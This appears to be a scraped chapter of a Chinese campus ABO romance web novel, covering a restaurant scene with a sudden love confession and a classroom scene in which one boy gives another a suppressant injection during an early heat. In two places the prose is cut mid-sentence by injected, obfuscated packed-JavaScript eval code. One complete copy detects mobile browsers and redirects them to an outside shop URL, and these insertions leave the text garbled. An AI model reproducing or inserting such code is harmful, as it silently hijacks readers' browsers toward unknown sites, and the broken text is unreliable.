他单手插兜,另一只手的指尖总在不经意间擦过秦玉的手腕,惹得秦玉的心跳漏了半拍,耳尖悄悄红透。 “秦同学,”沈月落的声音带着点运动后的沙哑,却依旧低沉悦耳,“去吃点东西?庆祝咱俩都破了纪录。” 秦玉轻轻“嗯”了一声,脚步慢了半分。他肠胃不好,吃不得辛辣刺激的东西,这话还没来得及说出口,就见沈月落掏出了手机。 指尖在屏幕上点了几下,电话很快被接通,那边传来萧星清亮又带着点痞气的声音:“沈月落,你小子终于想起我了?校运会赢了,不得请我搓顿好的?” “急什么,”沈月落勾着嘴角笑,声音里带着熟稔的调侃,“找家清淡的馆子,我这边带着人呢。” “清淡的?你转性了?”萧星在那头夸张地嚷嚷,“行,我这就过去——你等会儿,我先甩了个尾巴!” 电话那头传来一阵窸窸窣窣的响动,夹杂着萧星压低的咒骂和少年不服气的反驳,沈月落挑了挑眉,刚想说话,就听见萧星气急败坏地喊了一句“林升你再跟着我就揍你”,随后电话便被匆匆挂断了。 沈月落失笑,转头看向秦玉:“我那兄弟萧星,估计是被他上次说的新同桌给缠上了。” 秦玉眨了眨眼,没说话。他对沈月落的这个朋友不算熟悉,只听沈月落提过几句,说萧星是南清十四中的校霸,脑子好使,打架厉害,却不是那种喜欢惹事的主。 至于那个叫林升的,沈月落没提过,想来就是萧星嘴里的麻烦。 两人没走多远,就看到一家装修雅致的馆子。 门面低调,内里却铺着柔软的地毯,暖黄的灯光从镂空的灯罩里洒下来,映得桌上的青瓷餐具泛着温润的光。 这里主打豫式清淡菜,正合秦玉的胃口。 沈月落熟门熟路地领着秦玉往里走,刚在靠窗的位置坐下,就听见门口传来一阵不小的动静。 萧星一脸烦躁地闯进来,身后还跟着个矮他一头的少年。 那少年穿着洗得发白的校服,眉眼锋利,下巴扬得老高,浑身都透着一股“不好惹”的劲儿,正是林升。 “沈月落,你可算在这儿,”萧星一屁股坐在对面的椅子上,没好气地瞪了眼身后的林升,“这疯子非说我偷偷约了女朋友,硬要跟过来查岗,简直有病。” 沈月落和秦玉对视一眼,眼底都闪过一丝诧异——显然,他们都没料到萧星会带这么个“尾巴”过来。 林升冷哼一声,没理萧星,目光却直直地落在了秦玉身上。 那眼神太过灼热,带着点不加掩饰的惊艳,看得秦玉莫名地有些不自在。 沈月落的眉峰几不可查地蹙了一下,不动声色地往秦玉身边挪了挪,伸手替他倒了杯温水:“秦同学,喝点水缓一缓。” 秦玉道了声谢,接过水杯的指尖刚碰到杯壁,就听见萧星咋咋呼呼地开口:“这位就是你天天挂在嘴边的秦同学吧?果然名不虚传,比你小子说的还好看。” 说着,萧星就站起身,大大咧咧地朝着秦玉伸出手:“你好,萧星。” 秦玉礼貌地站起身,伸手回握:“你好,秦玉。” 指尖相触的瞬间,秦玉清晰地感觉到,身侧的沈月落周身的气压,冷了几分。他转头看了眼沈月落,对方正垂着眼,慢条斯理地摩挲着杯沿,长长的睫毛在眼睑下投出一片阴影,看不清情绪。 可秦玉就是莫名觉得,沈月落好像有点不高兴。 还没等他细想,林升突然也站了起来。他比秦玉矮了九厘米,站在秦玉面前,却硬是梗着脖子,眼神亮得惊人。 “我叫林升。”他开口,声音带着点少年人的沙哑,目光却一瞬不瞬地黏在秦玉脸上。 秦玉愣了一下,连忙伸出手:“你好。” 林升却没握他的手,只是定定地看着他,眼神里的光芒越来越盛。 萧星见状,赶紧伸手拽了拽林升的胳膊,压低声音警告:“你安分点。” 林升甩开他的手,眉头皱得更紧,却没再说话,只是坐回了椅子上,目光依旧黏在秦玉身上,像是要在他脸上烫出两个洞来。 萧星尴尬地笑了笑:“别介意,这小子脑子有点轴。” 沈月落没说话,只是抬眼扫了林升一眼,那眼神冷得像冰,看得林升不自觉地缩了缩脖子。 服务员很快拿来菜单,沈月落直接递到秦玉面前,声音温柔:“看看喜欢吃什么,这家的菜都很清淡,适合你。” 秦玉微微一愣,没想到沈月落竟然还记得…… 他接过菜单,指尖划过那些菜名——蜜汁山药、扒素鲍、莲子百合粥,都是些温润不刺激的菜式,心里像是被什么东西轻轻撞了一下,暖暖的。 “点个扒素鲍吧,”沈月落在旁边提议,“还有莲子百合粥,养胃。” 秦玉点了点头,又加了两个清淡的素菜。 萧星在旁边啧啧称奇:“沈月落,你可以啊,居然还记得别人的忌口。以前你可是连自己吃什么都懒得管的主。” 沈月落抬眼,看向秦玉的目光里带着笑意:“我家秦同学,自然不一样。” “我家秦同学”五个字,像是一颗小石子投进秦玉的心湖,漾起一圈又一圈的涟漪。他的耳根发烫,连忙低下头,假装认真地翻看菜单,不敢去看沈月落的眼睛。 林升坐在对面,将这一切尽收眼底,眉头皱得更紧了。 他看着秦玉泛红的耳尖,看着沈月落眼里藏不住的温柔,心里像是被什么东西蛰了一下,莫名地烦躁。 他从来没有过这种感觉,像是有只小鹿在心里乱撞,撞得他心慌意乱。 萧星瞥了林升一眼,见他盯着秦玉发呆,无奈地叹了口气,伸手在他眼前晃了晃:“看什么呢?眼珠子都快粘人家身上了。” 林升猛地回神,恶狠狠地瞪了萧星一眼:“要你管。” 萧星嗤笑一声,没再搭理他,转头跟沈月落聊起了校运会的事。 沈月落偶尔应和两句,注意力却大多放在秦玉身上,时不时给他夹一筷子菜,替他盛粥,动作自然又熟练。 秦玉安安静静地听着,偶尔回应萧星几句,嘴角噙着淡淡的笑意。 林升却没怎么吃东西,只是单手撑着下巴,目光一瞬不瞬地盯着秦玉。 他越看越觉得,秦玉长得真好看,眉眼清隽,皮肤白皙,笑起来的时候,嘴角会有一个浅浅的梨涡,看得人心里痒痒的。 吃到一半,秦玉放下筷子,想去洗手间。他刚站起身,林升就“噌”地一下站了起来,快得萧星都没来得及拦住他。 秦玉刚走到包厢的角落,就被林升拦住了去路。 林升比他矮了九厘米,却硬是踮了踮脚,伸手撑在了秦玉身后的墙上。 这个突如其来的壁咚,让整个包厢瞬间安静下来。 萧星嘴里的粥差点喷出来,手里的勺子“哐当”一声掉在桌上。沈月落脸上的笑意瞬间消失,脸色沉得像锅底,周身的气压低得吓人。 秦玉彻底懵了…… 他看着近在咫尺的林升,看着他那双带着点慌乱和倔强的眼睛,脑子一片空白。 林升的个子比他矮,这样的壁咚非但没有丝毫压迫感,反而透着点滑稽。可秦玉却完全笑不出来,只能僵在原地,不知所措。 “你……”秦玉张了张嘴,声音有点发颤,“你干什么?” 林升的脸颊微微泛红,眼神却依旧坚定,他盯着秦玉的眼睛,一字一句地说:“我喜欢你。” 沈月落:“?!” 萧星:“!!?” 秦玉:“????!!!!” 先是鸦雀无声……等回过神……整个包厢彻底炸开了锅。 萧星猛地站起来,一把拽开林升,没好气地说:“你疯了?胡说八道什么呢!” 林升被拽得一个趔趄,却依旧梗着脖子,看着秦玉,眼神里带着点委屈:“我没胡说,我就是喜欢他。” 沈月落的脸色已经黑得像锅底,他站起身,一步一步走到秦玉身边,伸手将他护在身后,眼神冰冷地看着林升,语气里带着浓浓的警告:“林升,你是不是活得不耐烦了?” 秦玉躲在沈月落身后,心脏砰砰直跳。他看着沈月落挺直的背脊,看着他紧绷的下颌线,心里像是被什么东西填满了,暖暖的,甜甜的。 萧星赶紧打圆场,他拽着林升的胳膊,对着沈月落赔笑道:“抱歉抱歉,这小子脑子抽风了,你别跟他一般见识。” 林升却不依不饶,挣扎着想要挣脱萧星的手:“我没抽风!我就是喜欢秦玉!” “你给我闭嘴!”萧星低声喝道,眼神里带着点焦急和无奈。 他偷偷看了眼沈月落的脸色,心里暗暗叫苦,这下完了,沈月落这醋坛子,怕是要翻了。 沈月落的眼神更冷了,他看着林升,一字一句地说:“秦同学是我的人,你最好离他远点。” 这话一出,秦玉的脸颊瞬间红透了。他躲在沈月落身后,偷偷抬眼看他,看着他棱角分明的侧脸,心里像是揣了一颗糖,甜得快要溢出来。 林升还想说什么,却被萧星死死地拽住了。 萧星对着秦玉连连道歉:“对不起对不起,这小子今天有点不对劲,我带他先走了,改天再赔罪。” 说完,他不顾林升的挣扎,拽着他快步走出了包厢。 包厢里终于安静了下来,只剩下秦玉和沈月落两个人。 秦玉的心跳依旧很快,他看着沈月落的背影,嘴唇动了动,想说点什么,却又不知道该说什么。 沈月落转过身,看着他泛红的脸颊,眼底的冰冷渐渐散去,取而代之的是藏不住的担忧。 他伸出手,指尖悬在秦玉的发顶,犹豫了半秒,最终还是轻轻落在他的肩上,声音沙哑又温柔:“秦同学,吓到了?” 秦玉摇了摇头,脸颊更红了,他看着沈月落的眼睛,小声说:“没有。” 沈月落低低地笑了一声,那笑声里带着点不易察觉的紧绷,他收回手,却没退开,依旧站在秦玉身前,替他挡着包厢里那些还没散尽的尴尬。 桌上的菜还冒着热气,蜜汁山药的甜香漫在空气里,和着方才的喧闹,显得有些格格不入。 沈月落沉默了几秒,转身去拿桌上的纸巾,递到秦玉手边:“擦擦汗吧,刚才吓着了?” 秦玉接过纸巾,指尖不小心蹭到他的掌心,烫得两人同时顿了一下。 沈月落很快缩回手,插回裤兜里,目光落在窗外渐渐沉下去的夕阳上,不敢再看秦玉泛红的耳根。 “我……”秦玉张了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦玉没拒绝,又喝了两勺,直到沈月落觉得差不多了,才放下勺子,把碗放回桌上。 窗外的天色彻底暗了下来,街灯次第亮起,暖黄的光芒透过玻璃窗洒进来,落在两人身上,拉出长长的影子。 沈月落看了眼窗外,站起身:“天晚了,我送你回去。” 秦玉点了点头,也跟着站起来。他刚迈出一步,就被沈月落拉住了手腕。 沈月落的手掌宽大温热,带着点薄汗,力道不轻不重,刚好能把他的手腕圈住。秦玉的心跳漏了一拍,下意识地想挣,却被沈月落握得更紧了些。 “别挣,”沈月落的声音很低,带着点自己都没察觉的执拗,“外面天黑,我牵着你走。” 秦玉的耳根又红了,他没再挣扎,任由沈月落牵着自己的手腕,走出了包厢。 馆子门口的风有点凉,卷着细碎的樟叶,吹在脸上,带着点初秋的清爽。 沈月落把自己的外套脱下来,披在秦玉身上,动作自然得像是做过千百遍。 “晚上凉,别冻着。” 外套上还带着沈月落身上的味道,混着汗水的皂角香,好似有带着些信息素的味道,清冽又灼热,萦绕在鼻尖,惹得秦玉的心跳又乱了几分。 他低着头,小声说了句“谢谢”。 沈月落没说话,只是牵着他的手,慢慢往前走。 路灯的光芒落在两人身上,影子被拉得很长很长,交叠在一起,像是再也分不开。 秦玉看着两人交握的手,看着沈月落挺拔的背影,心里的甜意一点点漫上来。 他不知道沈月落的心意,但他只知道,被沈月落这样护着,被他这样牵着手,心里的那点喜欢,也在悄悄发芽。 走到秦玉家楼下,沈月落停下脚步,松开了他的手,却没立刻让他上去。 他看着秦玉,目光落在他身上那件宽大的外套上,嘴角弯起一个浅浅的弧度:“外套先穿着,明天上学记得带来还我。” 秦玉点了点头,手指攥着外套的衣角,小声说:“嗯,明天见。” “明天见,”沈月落看着他,目光温柔得能滴出水来,“上去吧,早点休息。” 秦玉“嗯”了一声,转身往楼道里走。走到二楼的窗户边,他忍不住停下脚步,低头看向楼下。 沈月落还站在原地,看着他的方向,路灯的光芒落在他的脸上,勾勒出他轮廓分明的侧脸,嘴角噙着淡淡的笑意。 秦玉的心跳漏了一拍,他连忙躲到窗户后面,脸颊泛红。 过了一会儿,他又忍不住探出头,楼下的身影已经消失了。 秦玉靠在窗户上,看着窗外的星空,嘴角不自觉地弯了弯。 他伸手摸了摸身上的外套,上面还残留着沈月落的温度。 今晚的星星,真亮啊。 就像沈月落看他时,那双藏着温柔的眼睛。 而另一边,萧星拽着林升,一路走到了巷口。林升还在挣扎,嘴里念念有词:“我就是喜欢秦玉,我没说错……” 萧星停下脚步,看着他,眼神里带着点无奈和宠溺:“傻子……” 林升不服气,有打了他一拳,但只是轻轻的…… 他也只是笑笑…… 晚风带着淡淡的凉意……他们的身影被路灯拉得长长的,交织在一起……不冷……好暖…… 25. 间接接吻 今日,还是34度的高温,把北华七中的塑胶跑道晒得发烫…… 刚结束1000米体测的学生们涌回教学楼,白色校服后背大多洇着深色汗渍,脚步声、喘息声和谈笑声混在一起,让本就闷热的楼道更显嘈杂…… 秦玉跟在人流里往教室走,胸腔还在因为剧烈运动而微微起伏,喉咙干得发紧,像是有团小火在烧…… 他的白色校服贴在背上,是汗湿的布料带来黏腻的不适感,额角的汗珠顺着下颌线往下滑,砸在锁骨凹陷处,洇开一小片湿湿的痕迹。 走到教室门口,他几乎是快步冲到自己座位旁,拉开椅子坐下,顺手拿起桌角那个熟悉的浅蓝色保温杯——那是沈月落上次送给他的,是磨砂质感,杯身刻着个极小的“玉”字,一看就价值不菲。 拧开盖子时,温热的水汽扑面而来,秦玉仰头喝了一大口,温水顺着喉咙滑下去,滋润了干涩的黏膜,胸口的憋闷也缓解了不少。 他刚把盖子拧到一半,前排的章以青就抱着一摞作业本转过身来,眉头微蹙:“秦会长,麻烦你过来一下行吗?我统计作业的时候有几个名字对不上,想让你帮忙报一下核对清楚。” 秦玉想都没想,点点头应道:“好,我马上来。”说着便站起身,将没完全拧紧的保温杯随手放在桌角,跟着章以青往办公室走去。 他的步伐还有些虚浮,体测耗尽的体力没完全恢复,走的时候下意识地扶了下桌沿,指尖擦过冰凉的桌面,才稍微稳住身形。 沈月落刚从后门进来,就看着秦玉从前面离开的背影,目光不自觉地落在了那个敞着口的保温杯上。 他的终于不装B了,身上没了那件秋季外套,就露出线条利落的皮肤,上面还带着些未干的汗珠,在灯光下泛着细碎的光。 他左手撑着下巴,右手搭在桌沿,指尖无意识地摩挲着桌面纹路,眼神里带着点不易察觉的专注。 教室里很吵,男生们在讨论体测成绩,女生们互相递着纸巾擦汗,没人注意到角落这桌的动静。 沈月落的视线从秦玉已经消失的背影上收回,重新落在保温杯上——杯口还残留着一圈浅浅的水渍,那是秦玉刚才喝水时留下的,带着点隐秘的温度,像是某种无声的邀约。 他喉结动了动,他想象着秦玉仰头喝水时的样子,脖颈绷出的细腻线条,喉结滚动的弧度,还有温水沾湿唇角时,那抹被热气熏得更显红润的色泽…… 他心脏像是被什么东西轻轻撞了一下,跳得有些失序…… 沈月落左右瞥了眼,确定没人留意这边,才缓缓伸出手,指尖触到温热的杯壁,顿了顿,还是端了起来。 他微微低头,就着秦玉刚才喝过的杯口,轻轻喝了一口。 温水不知道为什么,带着一股若有若无的、属于秦玉的清冽气息,混着保温杯内壁特有的温润感,顺着喉咙滑下去,熨得心底也跟着暖了起来。 沈月落的心跳瞬间快了几分,像是做了什么亏心事似的,赶紧将保温杯放回原位,甚至刻意调整了一下角度,让杯口朝向和刚才差不多的方向,假装什么都没发生过…… 他抬手拿起桌上的物理课本,视线落在书页上,却一个字也看不进去。 脑海里反复回放着刚才的画面,杯口残留的温度仿佛还停留在唇上,带着点灼热的触感,让他的耳尖悄悄泛起薄红…… 秦玉在办公室忙了约莫十分钟,他才把作业名单核对清楚。 他来到教室,走回到自己的座位时,他额角的汗还没干,鬓边的碎发被汗水濡湿,贴在脸颊上,透着股狼狈又干净的美感。 他没察觉到任何异常,只是觉得教室里的温度似乎更高了些,沈月落正低头看着课本,侧脸的线条绷得有些紧,耳尖似乎也比平时红了些。 “沈同学,你没事吧?”秦玉随口问了一句,伸手去拿自己的保温杯,想再喝口水,“是不是太热了?” 沈月落的身体几不可察地僵了一下,声音听起来有些不自然:“没事,可能有点。”他说着,不动声色地将自己桌上的风扇往秦玉那边挪了挪,让凉风能更多地吹到秦玉身上…… 秦玉感觉到风的方向变了,心里微微一动,低头拧开保温杯,又喝了一口。温水的温度依旧刚好,只是不知为何,他总觉得今天的水似乎比平时多了点说不清道不明的味道,让他的心跳也跟着乱了几分。 他没多想,只当是自己体测后还没平复过来,喝完水便拧紧盖子,将保温杯放回桌角,拿出笔记本开始整理下午学生会的会议要点。 指尖在纸上快速滑动,秦玉的注意力很快集中在工作上,却没发现身边的沈月落,视线总是会不自觉地落在他的侧脸上。没过多久,秦玉忽然觉得有些不对劲。 起初只是后背泛起一阵细密的冷汗,紧接着,一股陌生的燥热从身体深处涌了上来,顺着血液蔓延到四肢百骸。 他的脸颊瞬间变得滚烫,呼吸也开始有些急促,原本就没完全平复的心跳,此刻更是像擂鼓一样“咚咚”作响…… 不对劲…… 秦玉心里咯噔一下,下意识地咬了咬下唇。他的发情期向来规律,最近突然不规律,而且这反应来得又快又猛,和以往的循序渐进完全不同,恐怕是刚才体测的剧烈运动,加上高温天气,硬生生催发了…… 他的信息素开始不受控制地往外扩散,是一种清冽的玫瑰,带着点雨后青草的湿润气息,在燥热的空气里渐渐弥漫开来。 起初还很淡,只有凑近才能闻到,但随着时间推移,味道越来越清晰,像是在闷热的教室里开了一扇通风的窗,却又带着点让人莫名心慌的甜意…… 秦玉的脸色瞬间变得苍白,手指紧紧攥着笔,指节泛白。 他慌乱地抬头看了看四周,同学们似乎还没察觉到异常,依旧在各自忙碌着,但他知道,用不了多久,这股信息素的味道就会扩散到整个教室。 作为Alpha,他的信息素本身就带着一定的压迫感,虽然因为性格内敛而显得温和,但在发情期不受控制的状态下,还是会让周围的人感到不适,尤其是Omega和Beta…… 更让他无措的是,他今天出门太急,又想着体测方便,根本没带抑制剂。 以往他都会提前备好,放在书包的侧袋里,可今天偏偏就忘了。 恐慌像是潮水一样涌上心头,秦玉的身体开始微微发抖,燥热感越来越强烈,让他浑身都提不起力气,连笔都快握不住了。 沈月落是第一个察觉到异常的。 作为和秦玉距离最近的人,他几乎是瞬间就闻到了那股清冽的玫瑰味。起初他还以为是秦玉带了什么玫瑰味的东西,可很快,他就意识到不对。 那味道里带着Alpha发情期特有的波动,温和却不容忽视,正一点点包裹着他。 他转头看向秦玉,只见秦玉的脸颊红得快要滴血,额头上布满了冷汗,眼神慌乱,身体还在微微发抖,握着笔的手也失去了力气,笔尖在纸上划出一道凌乱的痕迹。沈月落的眉头瞬间皱了起来,心里咯噔一下——是发情期提前了。 他没有声张,只是不动声色地往秦玉身边挪了挪,用自己的身体稍微挡住了周围人的视线。 “秦同学,”沈月落的声音压得很低,带着点不易察觉的紧张,“你是不是不舒服?” 秦玉听到他的声音,像是抓住了救命稻草,慌乱地转过头,眼底带着点水汽,声音沙哑得厉害:“我……我发情期提前了,没带抑制剂。”他的声音里带着点委屈,还有浓浓的无措,完全没了平时作为学生会会长的沉稳。 沈月落的心瞬间揪了起来。他知道秦玉的信息素是玫瑰味的,清冽又干净,和他的人一样。 此刻这股味道在他身边萦绕,带着发情期特有的脆弱感,让他莫名地有些心慌。“别慌,”沈月落的声音尽量放得平稳,试图安抚他,“我这里有抑制剂,你等一下。” 说着,沈月落伸手拉开自己的书包拉链,从里面翻出一支抑制剂。 那是一支银色的笔状抑制剂,设计简约,看起来比市面上常见的普通款要高级不少。其实沈月落自己很少用到,他的发情期反应很轻,且能很好地自控,但他知道秦玉的情况,自从上次无意中得知秦玉的发情期规律后,他就特意备了一支,放在书包里,想着万一遇到紧急情况能用上,没想到真的派上了用场。 秦玉看着他手里的抑制剂,眼神里满是惊讶和感激,还有点不好意思。他知道沈月落的抑制剂肯定不便宜,而且这种贴身的东西,随便给别人用,总归是有些逾矩的。“这……这不好吧,”秦玉的声音还在发颤,“太麻烦你了,我……” “别废话。”沈月落打断他的话,语气带着点不容置疑的坚定,却又不失温柔,“现在不是客气的时候。快用了,不然信息素扩散得更厉害,对你身体不好,也会影响别人。” 他说着,将抑制剂的笔帽拧开,露出细小的针头,递到秦玉面前。“自己来,还是我帮你?”沈月落的声音压得更低,温热的气息拂过秦玉的耳廓,让他的脸颊更红了。 秦玉的心跳漏了一拍,看着递到面前的抑制剂,又看了看沈月落认真的眼神,最终还是摇了摇头,声音小得像蚊子叫:“我……我自己来不了,手在抖。” 他的身体越来越不受控制,燥热感几乎要将他淹没,手指抖得厉害,连拿笔都困难,更别说准确地将抑制剂注射到自己的手臂上了。 沈月落点了点头,没再多说什么。他微微侧身,用身体挡住更多的视线,确保不会被其他人看到。“放松点,不疼的。”他轻声安抚道,然后小心翼翼地接过秦玉的手臂。 秦玉的手臂很细,皮肤白皙,因为发情期的燥热而泛着淡淡的粉色,血管清晰可见。 沈月落的手指轻轻握住他的手腕,指尖的温度比秦玉的皮肤要凉一些,让秦玉忍不住瑟缩了一下,却也莫名地感到了一丝安心。 沈月落的动作很轻柔,也很熟练。他找准秦玉手臂上的静脉,将抑制剂的针头轻轻扎了进去,然后缓慢地按下活塞。冰凉的药液顺着血管流进身体,瞬间带来一阵清凉,像是在滚烫的皮肤上泼了一盆冷水,让秦玉忍不住低低地喘了口气。 整个过程很快,不过几秒钟就结束了。沈月落拔出针头,顺手从口袋里掏出一张创可贴,贴在秦玉的针孔上,动作自然又细致。“好了,”他的声音依旧很低,“药液很快就会起效,你忍一下。” 秦玉点了点头,没说话。他的脸颊依旧很红,但眼神里的慌乱已经褪去了不少。冰凉的药液在身体里慢慢扩散,那股突如其来的燥热感正在一点点消退,信息素的释放也渐渐变得平缓,不再像刚才那样不受控制。他能感觉到,那股清冽的薄荷味正在慢慢变淡,最终会恢复到平时不易察觉的状态。 他低着头,不敢去看沈月落,脸颊烫得能煮熟鸡蛋。 刚才的失控,还有沈月落帮他注射抑制剂的亲密举动,都让他感到无比羞耻,却又带着点莫名的悸动。沈月落的指尖触碰到他皮肤时的温度,他沉稳的呼吸声,还有那句温柔的“放松点”,都像是刻在了他的脑海里,挥之不去。 沈月落也没说话,只是将用过的抑制剂针头收好,放进自己书包里的一个密封袋里,准备之后扔掉。他重新坐好,目光落在自己的课本上,心里却一点也不平静。刚才握住秦玉手腕时的触感,他发烫的皮肤,还有眼神里的慌乱和依赖,都让他的心跳乱了节奏。 秦玉的信息素还残留在他的鼻尖,清冽的薄荷味,带着点甜意,像是在他心里种下了一颗种子,正在悄悄发芽。 他想起上次秦玉犯胃病的事情。也是这样一个燥热的下午,秦玉没吃早饭,肚子突然的一疼,额头上满是冷汗。 沈月落去拿他的水杯,却只摸到了一个冷冰冰的矿泉水瓶…… 反正秦玉说没事儿了,但放学的时候,他的胃痛又反复了,家里的司机已经在校门口等他了。 他刚走到校门口,就看到沈月落从后面跑了过来,手里拿着一个包装精致的盒子,跑得有些急,额头上还带着汗。“秦同学,等一下。”沈月落跑到他面前,把盒子往他怀里一塞,语气有些急促,“这个给你。” 秦玉下意识地接住,入手有些沉,盒子的质感很好。打开一看,里面就是现在这个浅蓝色的保温杯,设计简约又精致,杯底还刻着一个小小的“玉”字。“这是……”秦玉疑惑地问。 “你胃不好,以后多喝温水。”沈月落的眼神有些闪躲,不敢直视他的眼睛,耳根泛着红,“记得用。”说完,他就转身跑走了,背影很快消失在人群里…… 秦玉看着那个保温杯,心里像是被什么东西填满了,暖暖的。 从那天起,这个保温杯就成了他的必备物品,每天都会用它装温水,走到哪里带到哪里。 现在,这个保温杯就放在他的桌角,杯身还带着淡淡的温度,像是沈月落的陪伴,一直都在。 教室里的气氛渐渐恢复了平静,秦玉的信息素已经完全稳定下来,不再扩散。 他的脸颊还有点发烫,但已经比刚才好多了,呼吸也恢复了平稳。他偷偷瞥了一眼身边的沈月落,发现他正低头看着课本,侧脸的线条依旧硬朗,却又带着点不易察觉的温柔。 “沈月落,”秦玉的声音很小,带着点沙哑,“谢谢你的抑制剂,还有……这个保温杯。” 沈月落的身体顿了一下,转过头来看他,眼神里带着点惊讶,似乎没想到他会突然提起这个。“不用谢,”沈月落的声音很轻,“应该的,秦同学。” “抑制剂的钱,我之后转给你吧。”秦玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163965|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低着头,不敢看他的眼睛,“还有保温杯的钱,一直都没给你。” “不用了。”沈月落果断地拒绝了,“一个抑制剂而已,不值什么钱。保温杯也是我特意给你买的,你要是给钱,就是不把我当朋友了。” 秦玉愣了一下,抬起头,正好对上沈月落的目光。他的眼神很深,像是藏着星辰大海,看得秦玉的心跳漏了半拍,赶紧又低下头,脸颊更红了。“可是……” “没什么可是的。”沈月落打断他的话,语气带着点不容置疑的坚定,却又不失温柔,“你胃不好,以后记得按时吃早饭,别再饿肚子了。发情期的话,以后提前备好抑制剂,别再像今天这样了,多危险。” “我知道了。”秦玉轻轻“嗯”了一声,心里像是被什么东西填满了,暖暖的。他知道沈月落是关心他,这种关心不带任何功利性,纯粹而真诚,让他无法抗拒。 下午第一节课是数学,老师在讲台上讲着复杂的函数题,黑板上写满了密密麻麻的公式。秦玉听得很专注,笔尖在笔记本上快速地记录着。 沈月落坐在他身边,也没有像平时那样偶尔走神,而是认真地看着课本,偶尔会在秦玉的笔记本上轻轻划一下,指出他记录错的地方。 秦玉感觉到他的触碰,心里微微一动,转头看了他一眼,沈月落也刚好抬头,两人的目光在空中相遇。 沈月落的眼神很深,带着点温柔的笑意,看得秦玉的心跳漏了半拍,赶紧转回头,假装认真地看黑板,耳尖却红透了。 沈月落看着他泛红的耳尖,嘴角几不可查地勾了勾。他知道秦玉对他是不一样的,这份不一样,让他有了继续靠近的勇气。 下课铃一响,秦玉刚想站起来活动一下,就被班长叫住了:“秦会长,学生会那边催着要中秋活动的策划案,说是明天就要讨论,你这边写得怎么样了?” “差不多了,”秦玉点点头,“我今晚再修改一下,明天早上给你。” “好,辛苦你了秦会长。”班长说完就离开了。 沈月落看着秦玉脸上的倦意,皱了皱眉:“秦同学,你昨晚是不是又熬夜了?” 秦玉愣了一下,没想到他会看出来,点了点头:“嗯,昨晚赶策划案到一点多。” “以后别熬那么晚了,”沈月落的声音带着点不易察觉的责备,“你身体本来就不好,又容易发情期紊乱,再熬夜的话,身体会吃不消的。” “我知道了,”秦玉笑了笑,嘴角的梨涡浅浅浮现,“谢谢你,沈月落。” 这是秦玉第一次没有叫他“沈同学”,而是直呼他的名字。 沈月落的心跳瞬间漏了一拍,愣在原地,看着秦玉的笑容,眼底的温柔快要溢出来。他张了张嘴,想说点什么,却又不知道该说什么,只能傻傻地看着他。 秦玉被他看得有些不好意思,脸颊泛红,赶紧转回头,假装整理桌上的书本,心里却像是揣了一颗糖,甜丝丝的。 下午第三节课是自习课,秦玉忙着修改中秋活动的策划案,沈月落则在一旁刷题。教室里很安静,只有笔尖划过纸张的沙沙声和吊扇转动的声音。秦玉写得累了,伸了个懒腰,转头看了沈月落一眼,发现他正皱着眉,盯着一道数学题,像是遇到了瓶颈。 “怎么了?这道题不会做吗?”秦玉低声问。 沈月落点了点头,指了指题目:“这个辅助线不知道该怎么画。” 秦玉凑过去看了看,那道题确实有点难度,是老师补充的拓展题。他拿起笔,在沈月落的草稿纸上轻轻画了一条辅助线:“这样画的话,是不是就简单多了?” 沈月落顺着他的思路看下去,眼睛瞬间亮了:“对,我怎么没想到呢!谢谢秦同学。” “不用谢。”秦玉笑了笑,刚想缩回手,就感觉到沈月落的指尖轻轻碰了一下他的手背,像是不经意间的触碰,却带着灼热的温度,让他的心跳瞬间加速。 他赶紧缩回手,假装继续修改策划案,脸颊却红透了。沈月落看着他的样子,嘴角的笑容更深了,眼底的暧昧也越来越浓。 自习课快结束的时候,秦玉的策划案终于修改完了。他长长地舒了一口气,将策划案整理好放进书包里,转头看向沈月落,发现他也刚好刷完了一套试卷。“都写完了?”秦玉问。 “嗯。”沈月落点了点头,看着他,“秦同学,放学我送你回去吧。” 秦玉愣了一下,有些惊讶:“不用了吧,我自己可以回去的。” “你今天发情期提前,身体肯定还没完全恢复,”沈月落的语气很坚定,“而且体测刚结束,你体力也没恢复好,我送你回去,我放心。” 秦玉看着他认真的眼神,心里暖暖的,点了点头:“好,谢谢你。” 放学铃一响,同学们纷纷收拾好东西,涌出教室。 秦玉和沈月落并肩走在人群里,走廊里很挤,沈月落下意识地护在秦玉身边,用胳膊挡开拥挤的人群,避免他被撞到。秦玉能感觉到沈月落的保护,心里泛起一阵暖意,默默地跟在他身边,脚步也放慢了些。 走到教学楼门口,夕阳的余晖洒在身上,带着点温热的气息。 秦玉抬头看了看天,天空是淡淡的橘红色。他转头看向沈月落,发现沈月落也在看他,眼神里带着温柔的笑意。 “秦同学,”沈月落的声音带着点夕阳的暖意,“走吧。” “嗯。”秦玉点点头,跟着沈月落往校门口走去。两人的影子被夕阳拉得很长,紧紧地靠在一起,像是再也分不开…… 校门口,沈月落派了一辆以后专门接送秦玉的司机已经在等他了。“那我上车了。”秦玉停下脚步,转头看向沈月落。 “嗯,”沈月落点了点头,“上去吧,记得好好休息,别再熬夜了。明天我帮你带份早饭,你胃不好,别空腹上学。” “不用麻烦你了,我自己可以……” “不麻烦。”沈月落打断他的话,眼神很认真,“就这么定了,秦同学。” 秦玉看着他,心里暖暖的,点了点头:“好,那谢谢你了。” 他转身走上车,坐在后座,看着沈月落的身影越来越远。 司机师傅发动车子,秦玉转头看向窗外,嘴角不自觉地弯了弯。 而校门口的沈月落,看着秦玉的车子消失在车流里,嘴角也扬起了一抹温柔的笑意。 他知道,自己喜欢他,已经不用多说…… 他和秦玉之间,有什么东西正在悄悄改变。 